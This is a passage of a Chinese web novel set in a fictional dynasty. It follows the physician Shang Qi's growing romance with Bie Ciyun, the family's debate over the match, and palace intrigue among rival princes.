齐王府住的皇子,简单点说是天潢贵胄,日后有机会坐上万人之上的位置,王府的守卫必然不会像别府一样,能够让阿兄来去自如。 就是阿兄当真能混到齐王府,难道还能带一群活人出王府吗? “抱歉。”尚柒无能为力,至少现在的尚柒没有本事救人,或许也来不及救人。 尚乌桕愣在原地,他在长平村被保护的很好,日子过得很自在,礼县县衙的官吏也跟阿兄交好,一个个都是刚正不阿的好官,到了长安,虽然听阿兄说过长安权贵以势压人,但他觉得天子脚下,再仗势欺人也该有所收敛,今日之事实在打击到了他。 “阿兄,长安一点也不好玩。” 尚柒拍拍小孩的肩膀,看向窗外,是啊,谁都不曾细想过,无数金银财宝堆砌的天下雄城,地底埋的都是找不到家的孤魂野鬼。 “等下次我们再来长安,我会试着改变它。”尚柒轻声许诺。 …… “公子,尸体要送还给她们的家人吗?”书墨身后是整齐搭着白布的担架,里面的尸骸都是他们费心费力跟踪齐王府的人寻到的。 因为齐王府往常将尸骸扔进乱葬岗惹出了麻烦,这些才从齐王府送出来的尸体,都被下了令,必须藏好。 别此云盯着白布,摇头:“齐王的事在皇帝面前已经过去了,就算有新的尸体出现,也不会再起什么波澜,此刻送还尸身,除了让苦主走投无路,没有其他作用。” “公子这样说也有道理,那我着人埋在城郊。” “嗯,埋下的地点记下,或许等日后有机会再告诉她们的家人。” “是。”书墨挥手叫人退下,留下别此云一个人在外宅坐着。 这样的事他见过很多,世家和皇族表面光鲜,内里一个比一个肮脏,但不得不说天下财富权利九成都被他们牢牢掌握。 想要撬翻,别此云一个人的力量还不够大。 —————————— 夜半,西南通往长安的官道少有人影,但近几日官道上一些百姓开的野店偶尔能够听到快马疾驰的动静。 也不知是什么重要的事,竟需要日夜兼程赶路。 这些快马加鞭往长安去的自然是西南探查消息的探子,收到消息的皇子们算是各施手段,遣人到西南走一遭,调查蔺家私生子一事,这些人在边境停留的时间并不长,不是说他们本事不佳,没能打探出什么消息。 相反不过短短几日功夫,他们就顺藤摸瓜的查出了蔺家和边军勾结的事,蔺家人行事低调,可西南这群蔺家没上族谱的私生子们个个嚣张跋扈的厉害,若非是各大势力都聚焦于长安,哪里容得这群人蹦跶。 如果不是怕打草惊蛇,被西南将军察觉有人在查此事,某些探子真想直接找上这些少爷们,想必细皮嫩肉的少爷扛不住几鞭子就能吐露的一干二净。 在查清蔺家的确将嫡系的私生女嫁给西南将军,探子们纷纷离开西南,回长安汇报。 而尚家的车队早踏上从礼县去长安的路,都走官道,说不得路上还遇到过这些探子。 “夏日实在是热,接连走两趟长安,要不是东家厚道,我真想在家歇息。”商队的汉子们并不缺钱,尚家护送药材的任务极多,一年赶着跑几趟都够一家子生活。 但人呐,就是贪心,起先只想吃饱饭,后头就想穿好衣,再盖一间瓦房遮风避雨。 有了孩子,又要为孩子考虑,东家仁善,建了学堂叫孩子们免费认字,虽不必交束脩,但笔墨纸砚总是要钱的。 礼县是西南远近闻名的穷县,从前人哪儿能想到家里的野孩子也能念上书,这会好不容易得了这个机会,万没有推迟的。 再有一个,礼县的笔墨纸砚卖的不贵,寻常百姓只要不偷懒,都能供应的上,商队的汉子收入更是高出不少,只是大部分商队的汉子都想着在县里安家,要在县里置办一套像样的宅子早不如几年前便宜。 外县来礼县谋生的人不少,这些外县人也都想在礼县安家,一来二去礼县的房子也紧俏起来。 “晓得你小子年前才成亲,想要和夫郞亲热,但家里没钱,我保管你小子都上不了夫郞的床。”有年长的汉子以过来人的身份开玩笑。 “我夫郞温柔着呢,这次回去就呆五天,都连着给我赶出了一身衣裳,和你家母老虎不一样。” “滚蛋,我家娘子只是泼辣了些,我不在家,她一个妇道人家不泼辣些,外人欺负她怎么办?” “得了吧,头儿,早些年礼县街上还有地痞流氓你用这个借口还像样,现在县里整日人来人往,官差也日日在街上巡逻,但凡敢闹事的都给抓去掏粪坑了,我说咱礼县比长安都强。” “可不是,也不知道谁出的馊主意,犯了不重的罪都给赶去掏粪坑了,上次我路过,瞧着人脸都绿了。” “什么馊主意,明明是天大的好主意,那些个犯事的不想掏粪坑才好,正好给他们个教训。” “就你喜欢拍东家马屁,这会子东家远在长安,我看你拍上天东家也听不见。” “怎么说话呢,我说的话都是真心实意的,难得你们就不拍东家马屁了,在东家跟前一个个都谄媚的厉害,这会子倒是装的老实。” “好小子,谄媚都会用了,书没少读啊。” 提起读书,商队的汉子一个比一个头疼,他们也就是个护镖的,只管把东西送到不就好了,怎么还要读书认字。 早十几年,年岁还小的时候有些人还能有点心气念书,这会子商队最大的汉子都四十好几了,学认字有什么用。 也就是东家自己是个读书人,喜欢用读书人,逼得他们这些大老粗怨声载道。 “好了,离长安也没几日路了,加紧点时间,送完药材好早些回礼县。” 有领头的汉子发话,其余人都正经起来,抓紧时间赶路,完全没有在意路上遇见的几波快马加鞭的同行人。 …… “好一个老五,我以为诸位兄弟里,就他最老实,谁想不争不抢的那个反而是最有野心的,我差点被骗了去。”平王一拍木桌,气的在原地走了好几个来回,“我们的人有没有被发现?” 平王行四,封地在西南,他想着西南偏僻,偷偷摸摸干些事能够瞒住父皇,却不想西南不止他一家在搞事。 “西南边军镇守边境,没有圣旨不得擅离,殿下只管放心。” “我原本是放心的,谁能想到西南还藏了一只猛虎,若是我没收到消息,说不得我的人都被猛虎当猎物吃了还不知道是谁干的。”平王想想自己的私兵,“叫封地行事再谨慎些,老五的事真的被掀出来,父皇肯定会对我们几个也起疑心,万不能叫人发现了去。” “殿下说的是,我这就去信西南,叫他们的动作再少些,五皇子事发期间,暂且关闭营地往来。” “去吧。”平王说着冷哼一声,父皇老了,说不得哪天就驾鹤西去,老五的事可拖延不得。 第37章 别府。 张青浣正在镜前梳妆, 今日休沐,夫君不必去上衙,两人约着出门走一走, 两个小的去了祖母那里, 做爹娘的也难得歇歇。 “怎么去给娘请安回来一副丧相, 叫爹娘看见, 少不得要被数落。”张青浣插好最后一根簪子,理了理衣裳。 “方才我去娘院子的时候,听到小弟身边琴砚说小弟又病了。”别景季知道此云身体打小就不好,请了不少大夫道士,最后狠心送去道观养着才养住了。 张青浣瞥了一眼身边伺候的人, 侍人就懂事的退出去。 “你呀, 真是个榆木脑子。” “夫人, 这是哪里话?”别景季虽不认为自己才能举世无双,但在长安, 也有一定名声,如何能被称作榆木。 “此云自回到家中, 也不过病了一回, 虽是真病, 但我瞧着是为了敷衍我, 不愿意去宴上相看。” “可自上次宴会过后, 娘不是暂时打消了带此云继续相看的念头吗?”长安城里的儿郎不少,但真要找个家世不错, 品行良好的子弟,就要慢慢寻摸。 苏怡然把主意打到柳确身上,不就是看长安的儿郎配不上自家哥儿,不得已挑的。 “你瞧我话说的这样明白, 你还不懂,不是榆木是什么?”张青浣从梳妆台前起身,走到别景季跟前,小声道,“生病自然是要看大夫的,上次此云病了,府医看过也没治好,这次病了,只怕府医都不见得能跑一趟。” “你是说,此云是为了见尚大夫故意装病?”别景季总算是反应过来,非是他迟钝,起先他对尚柒也是严防死守,害怕两人当真互生情愫,可几次和尚柒见面,又觉得尚柒坦荡,似乎并无求凰之意,便放下了。 若他没记错,他们二人应该也只见过两面,怎么就让此云惦记上了。 “莫说两面,真要有缘,只见一面就干柴烈火的也不是没有,再有,你什么时候见过此云给过外人好脸色,莫说男子,就是满长安的姑娘哥儿也没谁在他那儿讨过好,偏只见了尚大夫一面,就请人上门看病。” 尚柒医术好,是别景季通过西南的朋友打听出来的,别此云一个没有门路的哥儿如何就晓得尚柒医术好了?还敢将人请上门看病,若不是被夫君撞见,这事指不定要瞒多久。 “你说的也有道理,可我看尚大夫对此云并无意,再有他们二人身份悬殊,如何使得。”世家就是和寒门联姻,这寒门也得有官位在身才是,哪有世家把公子贵女嫁给寒门白身的。 “夫君,你自幼和此云一起长大,虽然此云常年在道观,但也比我这个进门的嫂子更清楚此云的性子。 若此云当真看上尚大夫,家里不允,他虽做不出私奔的行径,却也绝计不会再另嫁他人。” 别景季一事愣在原地,是了,打小此云主意就大,哪怕年纪小离家在道观,也从不曾叫家里人操心。 “此事还没有定数,你先别急着下结论。”别景季低声嘱咐,此事他这个做兄长的知道了不算什么,可要是家里其他人知道,就容易闹出事端。 “我自然是不会告诉外人,但你这个做兄长的也要多考虑考虑,若真如我所想,你我是要棒打鸳鸯,还是促成良缘?”张青浣是嫁进别的娘子,名义上虽然是别此云的嫂子,但到底隔着一层,怎么做最后都要落下埋怨,不若指望自家夫君拿个主意。 别景季听到夫人说良缘二字,心头一梗:“如何就是良缘了?” “你招待尚大夫的时候,我又不是不在,尚大夫本事如何我难道还不清楚,若是尚大夫托生在长安任何一个世家里,只怕上门说亲的人都要踩踏门栏了,不论身世,我自认为二人是相配的。” 世家出身的公子贵女,打小要学的就有如何看人,张青浣和尚柒相处,只见人待人处物事什么样,就能把人的性子摸得七七八八。 “……”别景季自然知道尚柒的本事,光从人谈吐就能感觉到尚大夫胸有沟壑,腹有诗书,相貌也是一等一的出色,这样的儿郎略有些上进心,就能俘获天下间大半姑娘哥儿的芳心。 “门第之事算不上什么,你先前不是也说过,尚大夫谈吐风雅,若是愿意科考,必然榜上有名,只要有官身,一切都好说。 现在最要紧的,还是弄清楚此云是不是对尚大夫有意,而尚大夫是否也对此云有意。” 若二人真是情投意合,他们想法子撮合自然皆大欢喜,若只是此云一厢情愿事情就难办了,总不能摁着尚大夫科举成亲,这哪里是结亲,结仇还差不多。 “明日尚大夫要到府上给你勘脉,到时候我细细打探打探,至于此云那边……” 别景季一向是撬不开小弟的嘴,指望夫人也是不成的,至少此云不想开口,就是娘来了也枉然。 “你不必费心思,今日咱们也不出府了,你且看着,不过午时尚大夫必定登门为此云看病。”既然尚大夫今日来,他也懒得叫尚大夫再跑一趟。 别景季还要再说什么,就见门外的侍人匆匆忙忙跑来,低声同夫人说了几句什么话。 “尚大夫来了,不巧被娘瞧见,该咱们登场去解围了。”张青浣一副得胜的表情,叫别景季一时哭笑不得,不管小弟和尚大夫情况究竟如何,此时的确不该叫娘晓得。 到底尚大夫对他们有治病的恩情,便是棒打鸳鸯他出面肯定比娘出面合适。 …… 苏怡然听闻此云又病了,趁着上午得空便来了梧桐苑,打此云长大后,除了一月一次的平安脉,已经少有生病的时候,先头病好了才多久又病了,如何不叫人忧心。 哪想她刚到梧桐苑门口就遇上一位不相识的男子过来,瞧着也是要进梧桐苑里,带路的是侧门看守的门房。 若非知道光天化日,又在别府,自家哥儿又绝计不会是行苟且之事的人,她都要以为眼前的男子是自家哥儿准备私会的情郎。 好在忍住胡思乱想先问了一句,方才晓得是请来看病的大夫。 要说家里府医日日都在,府医看不了的病递牌子请太医对别家来说也不是难事,怎么突然请一个皮相好的年轻大夫过来。 外人一眼看了去,谁能看出眼前还未及冠的儿郎是个大夫? “苏夫人,我是给府上少夫人看病的大夫,今日本来是要给少夫人再请脉的,不过听闻别公子又病了,就特意过来一趟瞧瞧。”尚柒也是错不及防见了别此云这辈子的娘,只能拉出别大少爷做挡箭牌。 “替青浣看诊?”苏怡然回忆了片刻,的确听青浣提过她近日得遇一位神医,只苏怡然骗子见多了,青浣的病一日没好她是信不过所谓的神医,也就没多打听。 不想今儿竟然遇上了。 “不错。”尚柒表现的坦坦荡荡,丝毫没有一个外男进哥儿内宅的尴尬。 也就是这时候,别景季夫妻二人赶了过来。 “娘,尚大夫,你们怎么在此云院门口站着。”张青浣一来站到苏怡然旁身旁,“听闻此云又病了,尚大夫医术极好,正好给此云瞧瞧,顺道能够给此云调养调养身子。” “是了,尚大夫,我家小弟自幼体弱,你医术好给小弟看诊时瞧瞧能不能配个方子,给小弟养身子用。” 小夫妻一唱一和,叫苏怡然都没有开口的机会,就被架着进了梧桐苑,而院子里生病的人肯定没起身,这会子还躺在床上装病呢。 叫尚柒进梧桐苑已经突破苏怡然的底线,肯定不乐意尚柒再进自家哥儿的寝房。 奈何苏怡然先一步进屋,只见自家哥儿面色苍白的厉害,哪里舍得叫人起来折腾。 如此,尚柒达成当着别此云娘亲兄长嫂嫂的面进寝房的成就,要说这寝房尚柒也不是头一次来了,但在此前无论是白日还是夜里都不正规,今儿正大光明走进来反而有些不适应。 “此云,尚大夫来看诊了。”张青浣走上前,看似说了句废话,实则提醒别此云,只当尚大夫是他们夫妻二人请来的。 无论如何,这时候不能叫娘知道尚大夫和别此云私下有交情。 “有劳嫂嫂费心。”别此云病恹恹的模样依旧好看的惊人,毕竟病弱西子的杀伤力谁看谁知道,但尚柒身为大夫,就不一样了,若非是尚柒一向情绪稳定,少有动怒的时候,这会指不定要责骂别此云不爱惜身体。 明明之前说好不许再用伤身的办法,可见人面色苍白,必然是真病了。 两人对上视线,别此云非但不心虚,还敢趁着苏怡然不注意,俏皮的跟尚柒眨眼,叫尚柒胸口堵了一口气,憋闷的坐在侍人搬来的板凳上,给别此云把脉。 这人如此不爱惜身体,这次必然要给他开的药里多加几味黄——嗯? 尚柒眼神一滞,别此云脉搏虽然不如常人强健有力,却也没看出其他病症,那这苍白憔悴的面色是擦脂抹粉了不成? 大历的胭脂已经能做出这样以假乱真的效果了? “尚大夫,小弟的病如何了?”别景季见尚柒把脉久久不出声,还以为小弟当真病的厉害。 “只是普通的风寒,想来是今日夜里下雨一时贪了凉,只吃一副药调养就是。”尚柒面色不变的撒谎。 “只治风寒?”别景季是信得过尚柒的医术,为此方才说要给别此云调养身体也不是假话。 “别公子身体已经比小时候强健一些,虽然还是赶不上常人,但也不建议药补,是药三分毒,真要想调理身体,不如用食补代替。”尚柒慢条斯理的说着,余光瞧着别此云满目含笑,就知这人在看戏。 第38章 “未曾想尚大夫对饮食一道也有涉略, 若只用饮食填补,自然是再好不过。” “不过是做大夫的基本功。”自然这个大夫不是指本朝的大夫,大历民间大夫也不乏有高手, 但更多的还是些半瓶醋郎中, “药方等我看过少夫人的脉后, 再一块开, 不知少夫人是准备在别公子的院里看诊,还是回暮云堂?” 苏怡然在这里,尚柒便知此地不宜久留,而别景季夫妻显然也是这么想的,尚柒这头刚话刚出口, 别景季就着人领着尚柒和张青浣先一步回暮云堂, 留他在梧桐苑和娘解释。 等人一走, 苏怡然也不客气的出门,此云还病着自然不能在他跟前发作, 扰了清净。 “我尚且不知别家还请不来一个医术高明的大夫,反叫一个不知根底的外男进里弟弟院子看诊。”显然苏怡然也认为大夫是别景季夫妻二人请来的。 “娘, 尚大夫是西南名医, 但凡在西南有跟脚的人家没有不认识尚大夫的, 青浣的病宫中太医都束手无策, 尚大夫一来, 不过吃了几副药,已然好了不少。 我和青浣是此云的兄嫂, 哪里有害此云的心思。” 别景季好言解释,这口黑锅背的实在冤枉。 “那也不该叫人到此云的院子里来,若叫外人知道该如何是好?”苏怡然不知这位西南名医是否名副其实,就当此人医术高明, 但瞧人模样好,年纪轻,还往小哥儿的寝房去,怎么会不叫人多想。 “府里都是自家人,如何能传到外面去?”别景季硬着头皮解释,“娘可能不知道,上次此云病了,府医开了药一直不见效,当时宫里咱们相熟的太医又忙,亏得尚大夫看诊,不过三两日此云就病好了。 这次此云又病了,我想着不若直接请尚大夫过来,也免了此云多喝一剂药。” “这位尚大夫来过梧桐苑给此云看诊?”苏怡然眯着眼睛,抓住别景季言辞中的重点。 “不错,不过上次是我看着在书房看的诊,这回此云病的不能起身,我和青浣又一时在院里被绊住了,才晚来一步。”别景季差点要在亲娘锐利的视线中喘不过气。 “我不管那位尚大夫本事究竟如何,日后不许再让他去梧桐苑。”苏怡然说话的声音带了几分严肃,可见是气的不轻。 “是。”别景季应下,不过他也觉得娘是关心则乱,若真见识过尚大夫医术的厉害,想来也是不会轻易得罪一位能救命的大夫。 暮云堂里。 张青浣招待尚柒,话语里明里暗里的打听尚柒怎么去了梧桐苑,企图发现尚柒是否对别此云也有苗头。 “先前收到请帖,是别府送来的,我以为明日别少爷和少夫人不得空,将诊脉的时间提前了一日,便一早过来了,到了门口听门房说别公子又病了,想要请我过去看诊,不料碰上了府里的夫人,不知是否犯了什么忌讳?” 尚柒打赌苏怡然是别此云故意叫来的,不然以别此云对别府的掌控,他们绝计撞不到一块。 就是不知别此云是打的什么主意,难不成先要他在苏夫人跟前混个脸熟,日后求亲会更顺利一点? “尚大夫说笑了,府里哪有那么多规矩,只是此云到底是哥儿,娘瞧见尚大夫过去,总归有那么几分不放心。” “原来如此,但比起名声,还是身体更重要。”人活着才是自己的,人死了赚来好名声又有什么用? “尚大夫是大夫,自然是觉得身体更重要。” “可我也同少夫人独处一室,难道少夫人就不担心名声问题吗?”尚柒这个问题可算是绝杀,叫张青浣一时间都没反应过来。 其实无论尚柒什么时候来看诊,都是有别景季作陪的,今日别景季被绊在了梧桐苑,独她在暮云堂,自然也不合规矩。 “时候不早,我还是先给少夫人勘脉。”尚柒揭过方才的话题,他少有展示自己尖锐的一面,但想想别此云自幼生长在这样的规矩下,难怪一年到头更喜欢在道观呆着。 “劳尚大夫费心了。”张青浣伸出手,还在想尚柒方才说的话,但很快院里响起脚步声,是匆匆从梧桐苑赶回来的别景季。 这次勘脉不过是几剂药服用完,看是否要调整之前的药方,也不费什么功夫,尚柒删减了其中两味药,又给别此云开了个温养的药方,既不伤身也不会叫外人看出药方有什么不对,至于喝不喝就是别此云的事了。 开完药方,别景季送干脆利落离开的尚柒出府后,忧心忡忡的回到暮云堂。 “此云似乎的确倾心尚大夫。” “那夫君的意思?”张青浣早看出来别此云对尚柒态度不简单,因此听别景季这么说,半点不觉惊讶。 “尚大夫这头我没瞧出对此云有意。”若真是一挑子热,不若快刀斩乱麻,断了此云的念想。 “夫君这可想错了,我看尚大夫也并非流水无意。”张青浣把方才尚大夫刺了她的话给别景季说了。 “如此也不见得尚大夫倾心此云。”不过一句打抱不平的话罢了。 “许是不到倾心的程度,但尚大夫必定对此云有好感,或许本人还不知情,这时候要二人断了是最好的,再叫两人接触下去,必然要生出感情。”张青浣到底已经身为人母,对这些情情爱爱之事了如指掌,要她说最好是断了,不然日后被娘知道了,准没有好果子吃。 “断要如何断?此云虽然在家里少有出门的时候,但尚大夫隔一段时日就要给你看诊,此云要有心总能想法子过来。”更不说私下里此云可能出门见尚大夫。 这么说也的确是个麻烦,若别家不曾有求于尚柒,只管警告尚柒就是,真要发现尚柒和别此云往来,也能寻到借口处理了尚柒。 但眼下尚柒是他们夫妻二人的座上宾,莫说有恩于他们,单单是别景季和尚柒来往愉快,已经当尚柒是半个朋友,哪里能用暴力手段。 此事难办。 …… “你可没说我过来还要见你娘。”尚柒幽幽的向别此云诉说不满,若非是他心脏强大,当即就要被吓个六神无主。 “总是要你在我娘那里挂个名头,知道有你这个人,将咱们之间的关系梳理的有迹可循,才好取信于人。” “第一印象很重要,这会我估计没在你娘那里留下好印象。”尚柒只觉得求娶路漫漫。 “暂时的,之后一段时日,你要忙起来了,只怕长安城里但凡有个小病小痛的娘子郎君都要寻你去看诊。” “这生意打哪儿来的?”他到长安就没看过几个病人,名声还没打出去呢,更不说为何病人都是后宅的娘子郎君? “自然有人介绍,说来,你擅长妇科吗?”别此云知道学医都有专攻的方向,但中医给人留下的印象,总免不了一个大夫什么病都能靠把脉看出来。 “不擅长,但也能治,遇上疑难杂症只能勉强试试,不保证能治好。” “那你妇科圣手的名头想必不日就要在娘子郎君私下见传播开。” “……”所以是谁介绍他去给后宅娘子郎君看病? 别此云不愿意透露,尚柒也问不出结果,灰溜溜的打道回府,把随身带着的医书翻出来,颇有一副临时抱佛脚的意思。 果然不出别此云所料,尚府有贵客登门,借的是隔壁苏府的关系,来人也跟隔壁苏府的赵厢赵郎君相熟,对外只说是到苏府和赵郎君叙旧,实则是到隔壁请尚柒看诊。 要说来的病人里,十个有七个都对尚柒的外貌年纪抱有疑惑,也不怪她们,实在是这样年轻能独立看诊,还被叫神医的大夫在大历一个都找不出来。 就尚柒自己,上辈子在这个年纪,虽然被逼着把各类中医圣典倒背如流,但真要他看病,也不见得能有多高明,到底缺乏实战经验。 转头这辈子倒是把实战经验补足了,只消开几次义诊,过来看病的人只多不少。 赵厢也是得了尚家的好处,往日里许多未深交的娘子郎君都和他有了来往,也是开拓了不少新人脉,连带着他自己也去寻尚柒堪了脉,得了一个身体康健的结论,连着高兴了几日。 “尚大哥你是不知道,我阿耶近来连看我功课都是笑着的,往日他要是瞧见我的功课,一早就黑脸,可吓人了。”苏长屿没有兄长阿姊,打认识尚柒后,几乎是把尚柒当兄长看的。 过来尚府,尚乌桕一旦没空,就寻机会找尚柒玩耍。 “那你有听你阿耶说,是谁介绍这些娘子郎君来尚府看诊的吗?”尚柒还没弄清楚这些娘子郎君从哪儿听来他会看病的,他也有旁敲侧击问过病人,但都只是听说常乐坊来了个西南名医。 而起先来的两三人,多半是抱着过来试试的心态,谁晓得尚柒是有真本事,就坐实了名医的名头,一传十十传百,可不就生意兴隆了。 苏长屿摇摇头,他哪里知道这种消息。 尚柒长舒一口气,总不会无中生有,能介绍病人给他的左右就那么几个人。 排除看戏的别此云,唯一剩下的就是别景季夫妇和谢琅,前者应该没那么大的能量,更别说这夫妻二人估计还在纠结是棒打鸳鸯好,还是撮合良缘好。 后者,后者产业多,名下酒楼布行成衣铺首饰铺遍布长安,悄声无息的透露给来店里的娘子郎君,外人的确很难察觉源头。 只是谢琅这么干的理由是什么? 第39章 “尚兄你不是打算科举, 我这是给你送人脉来了。”谢琅在金玉满堂被人堵了个正着,上次他被堵在金玉满堂,还是有钱, 难怪两人能凑一块, 做事都一个德性。 尚柒不语, 人脉的确送来了, 但也送了不少麻烦,过来看病的娘子郎君已经有七八位问过他的亲事。 虽然知晓他是商户,不可能嫁自家娇养的姑娘哥儿,但哪个世家还没几门穷亲戚,出了五服衰落成寒门的世家子弟比比皆是, 只需要从中挑选一二愿意的姑娘哥儿, 结成好事, 也算是绑住了一位神医。 “我近来要为科举准备,看病已经耽误了不少时间。”尚柒疲于应付这些娘子郎君。 “尚兄, 这事你听我的,哪怕你现在把圣贤书全背下来, 也不及和这些娘子郎君交好, 只要尚兄你不经意间透露你打算科举的事, 我想用不了多久就有人主动找上门。” 枕边风的厉害, 谢琅再清楚不过, 小看后宅娘子郎君的本事,都是要吃大亏的。 “有求者必有所累。”世家无利不起早, 尚柒真要是表露自己想科举,给他介绍亲事的娘子郎君只怕翻几倍不止。 他是为了别此云的亲事才科举的,这会子反倒自己麻烦缠身,岂非本末倒置。 “所以尚兄你得多看诊一些娘子郎君, 虽说大部分人受利益驱动,但尚兄还是要相信,有些人的确有君子品行。”谢琅自己也不见的是君子,但长安城里的君子不少,“此事有钱也知情,他既不反对,尚兄何必排斥。” “……” 远在别府的别此云可不知道谢琅拿他说话,堵了尚柒的话头,眼下他在府里日日都在脸上擦了粉装病,和时下不够细腻的胭脂水粉比起来,别此云用来化妆的粉都是特制,为的就是装病。 加上他本来身体就不好,脉象虚弱,一般的大夫也轻易揭穿不得。 这病应付的是暮云堂的两位,府里其他人概不知情。 也多亏上次尚柒过来提到了谢氏那位嫡系子相思成疾的事,要想叫兄长嫂嫂尽快明白他喜欢尚柒,相思病的确是个好借口。 衣带渐宽终不悔,为伊消得人憔悴,眼前的别此云正是应了这话。 显然,暮云堂的两人深信不疑。 就说别景季,他原本对此云是否喜欢尚柒还将信将疑,但瞧着小弟越发憔悴下去,也不得不信此云当真对尚柒情深不移。 “此云,可是近几日在家憋闷了,我瞧你面色不大好,若是府里无趣,可叫上你嫂子出门走走。”别景季顾左言他的希望别此云把心思放到别处。 “阿兄,我常年在道观修行,在家哪里会觉得憋闷,只是近来天气炎热,人没什么精神罢了。”别此云故作坚强,“说来,嫂子身体怎么样?” “已经见好了。”别景季不肯顺着话提起尚柒,他还想着断了小弟念头的事。 “尚大夫医术高明,等嫂子病好了,阿兄可不要吝啬人诊金才是。” 别景季一时语塞,他都没提尚柒呢,再看此云提及尚柒微微上翘的嘴角,不由的叹气。 “此云,你与阿兄说实话,可是倾心于尚大夫?” 别此云不想兄长竟然打直球,眼神略有些躲闪的回到:“阿兄怎么这么说,我和尚大夫才见过几面?” “见一面相思成疾的人长安也非没有,此事我不会告诉爹娘,你只管说实话。” “……许是有些喜欢。”别此云言辞中带着苦涩,大抵也明白这段感情基本没有结果。 “能断吗?”别景季见小弟黯然失神的模样,自然心疼,他这性子孤傲的小弟,什么时候也会为这些凡间俗事困扰。 “我……不清楚。” 模棱两可的回答本身也代表了不愿意断的念头,别景季哪里舍得自家小弟如此伤神,既然夫人说尚柒对小弟不是一点感觉没有,且尚柒若能科举得中,由他暗中出面,未必不能成就好事。 但事未办妥前,别景季不想给小弟希望,又叫他失望,为此别景季只拍拍小弟肩膀安慰,等回到暮云堂,就和夫人商议如何促成良缘。 张青浣早就知道别景季此人心软,小弟难得有个喜欢的人,又怎么会真舍得棒打鸳鸯,若尚大夫真就是个商户也就罢了,偏尚大夫有望科举,哪怕只一点希望别景季肯定也是要试试的。 “此事想要办成,最要紧还是叫尚大夫愿意为此云参加科举。”不然错过今年,娘那边可就等不住了。 “这也是难办的地方,尚大夫只要愿意参加科举,剩下的事我都能插手,偏这个愿意最难办。” 上次他打听过,尚大夫是无心科举的,甚至到了长安,尚大夫也一直默默无名,连个文人都不曾结实,如此做派也的确是不愿掺和官场。 “尚大夫同此云的感情尚浅,咱们没把握也正常。”张青浣并不意外。 “夫人这样说,可是有了办法。” “此事难点就在尚大夫对此云感情不深,只要尚大夫对此云非他不可,问题不就迎刃而解了。” 如何要尚大夫对此云非他不可,别景季当然有想法,只是:“要是叫此云和尚大夫再接触,情况更严重怎能办?” “难道现在此云的情况还不够严重?” 别景季闻言沉默,此云如今的状态,打他出生起都没有过,自然是严重的。 “我会寻机会叫二人见面的。” ——————————— 尚柒收到别景季的消息时,就知道事情妥了,余下的就看他和别此云的表演。 不过近来长安的水又浑起来,自西南探子归来后,想来几位皇子也都掌握了五皇子和蔺家勾结的证据,他观此云提供给他的消息,这几位皇子都不是什么能忍的人。 若非是齐王被罚了禁闭,恐怕出头鸟又要齐王来当了。 余下太子、晋王、平王三人,最沉不住气的该是太子,不过太子还算听话,若是将手中的消息散布给幕僚,多半会忍一时之气。 晋王和平王中,四皇子平王最有可能当这个出头鸟,不出意外,也就是这几日朝堂中必然会扔出这个深水炸弹。 大理寺和刑部才审了一桩牵扯王爷的案子,接着又来一桩,真是多事之秋。 …… “二东家,最后一批名单里你过过目,若没问题,我就通知她们明日来上工。”织坊这头打有了谢琅相助,无论是扩大地盘还是招收人手,都跟开了火箭一样,且谢琅派来的人也的确能干,为首的掌柜年纪也有三四十的模样,却并不轻傲。 哪怕合作对象是个十一二岁的小姑娘,做决策时依旧有商有量。 “好,周掌柜等我片刻。”尚南枝一目十行的过了眼前的名单,“怎么还有宣义坊外的娘子郎君?” 她以为这次招工只招宣义坊的人,其他坊的人也不是不行,只是有的住远了早晚上工不方便。 “其中几位娘子郎君是有钱公子送来的,我这头遣人打探过,好像都是军中的亲眷。”周掌柜是谢琅的人,也和有钱公子合作过,虽不知有钱公子打的什么主意,但大家都是老朋友了,这点事也不必细究。 再说织坊也有有钱公子的份,就是有钱公子送来几个关系户,也不打什么紧。 尚南枝已经从阿兄那里知道有钱公子就是别公子,加上尚乌桕时时刻刻给她洗脑,虽然她还不确认别公子会成为她的嫂夫郞,但对别公子颇有好感,就是感到此事有异,也不会当着谢琅的人揭露。 “如此,名单没什么问题,周掌柜只管请人明日上工。” 尚南枝面上应了话,心里却还是将此事放在心上,按说有个官身肯定比寻常百姓日子好过,军中的亲眷为何要出门做事? 莫不是夫君在军中并无什么官职,如此银钱不够养活一家子,须得家中娘子郎君抛头露面填补家里。 别公子又为何会和军中有联系,阿兄又是否知情。 打阿兄无缘无故要来长安起,尚南枝心底就有一股不对劲的猜疑,具体是什么她还没想明白。 在长安安顿后,她更加确信阿兄必然在筹谋什么,往日她大概还能往生意上猜测,但自从别公子现身后,事情更是扑朔迷离。 只希望阿兄不是在做什么冒险的事。 是夜。 尚南枝赶在坊门关闭前回了府,织坊初成事情的确繁杂些,等一切上了正轨她就能早些回府了。 “府里怎么多了这么多马车?是商队送的药材到了吗?”尚南枝一向是跟马车走侧门回府,正好能看见往日空旷的马厩多了许多马匹。 “二小姐猜的不错,商队今日上午到的,安顿好这群汉子就都出去了。” “在外留宿没什么,但须得报告给商队的领头,常乐坊治安虽然不错,但其他坊市有不少鸡鸣狗盗之徒,若是偷了金银还好,若是丢了命可就得不偿失了。” “二小姐放心,东家在人走之前也特意叮嘱过,都是家里有妻儿的汉子,再胡闹也有个牵挂。” “阿兄休息了吗?”尚南枝是知道阿兄近来白日有不少病人。 “还未,东家正在书房,二小姐只管过去就是。” 尚南枝点头,往阿兄书房去了。 第40章 “阿兄。”尚南枝进屋, 就见阿兄书桌堆了不少书本,都不是医书,但也正常, 阿兄的书房一向什么杂书都有。 “今日怎么回来的这么晚, 是织坊有什么事绊住了?”尚柒将书放在桌上, “吃过晚食了?” “路上买了胡饼, 早上我吩咐厨房夜里给我留碗热汤,也能对付一顿。”胡饼热汤或许对富贵人家来说,吃的简陋,但尚南枝不似尚乌桕,也过过一两年苦日子, 幼年碗里野菜苦涩的滋味到现在都记得。 眼下有胡饼热汤做晚食, 也不算差。 “偶尔这么对付一顿也就算了, 日日如此不行,若是不得空可培养一两个人手帮着做事。” “阿兄说的有理, 我会寻摸人手的。”尚南枝也知道眼下摊子不大事事亲为或许还行,等织坊扩大了光她一个人绝对不成。 “你一向知道轻重, 我自然放心, 生意上遇到困难也不必觉得丢人, 只管问我就是。”亏得有南枝帮忙, 不然尚柒哪里有功夫在府里治病救人攒人情, “这会过来是遇上什么事了吗?” “的确有一桩事,今日最后一批招来的人手名单里, 有几位娘子郎君非是宣义坊本地的人,我问过周掌柜说是别公子添的,都是军中亲眷。” “这是我让此云送来的。”尚柒没有多解释,这些亲眷背后的汉子, 都是别此云想挖的墙角。 